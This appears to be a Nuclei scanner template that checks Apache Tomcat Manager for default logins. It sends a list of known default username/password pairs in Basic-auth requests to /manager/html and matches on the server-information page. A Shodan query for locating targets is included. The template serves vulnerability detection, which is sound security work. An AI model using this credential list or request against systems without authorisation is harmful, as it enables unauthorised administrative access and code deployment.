id: tomcat-default-login

info:
  name: Apache Tomcat Manager Default Login
  author: pdteam,sinKettu,nybble04
  severity: high
  description: Apache Tomcat Manager default login credentials were discovered.
  reference:
    - https://www.rapid7.com/db/vulnerabilities/apache-tomcat-default-ovwebusr-password/
    - https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
  classification:
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    max-request: 25
    vendor: apache
    product: tomcat
    shodan-query: title:"Apache Tomcat"
  tags: tomcat,apache,default-login,vuln

http:
  - raw:
      - |
        GET /manager/html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    payloads:
      username:
        - tomcat
        - admin
        - admin
        - admin
        - admin
        - admin
        - manager
        - role1
        - role1
        - root
        - root
        - both
        - ADMIN
        - ovwebusr
        - j2deployer
        - cxsdk
        - QCC
        - xampp
        - demo
        - server_admin
        - role
        - tomcat
        - tomcat
        - tomcat
        - vagrant
        - admin
        - admin
        - admin
      password:
        - tomcat
        - admin
        - manager
        - s3cret
        - changethis
        - tomcat
        - manager
        - role1
        - tomcat
        - root
        - r00t
        - tomcat
        - ADMIN
        - OvW*busr1
        - j2deployer
        - kdsxc
        - QLogic66
        - xampp
        - demo
        - owaspbwa
        - changethis
        - s3cret
        - changethis
        - Password1
        - vagrant
        - password
        - Password1
        - admin123
    attack: pitchfork
    stop-at-first-match: true
    threads: 30

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "Apache Tomcat", "Server Information")
          - contains_any(body, "Tomcat Version", "JVM Version", "JVM Vendor", "OS Name", "OS Version", "OS Architecture", "Hostname", "IP Address")
        condition: and
# digest: 4a0a004730450221008a6ab244b09ee1e28170127512a9b09d826ac9ddccaea178849890752bcc634f022026fcfe47cddb090c3c1252869c544218e742e7b75bd75008f847994211cb13e0:922c64590222798bb761d5b6d8e72950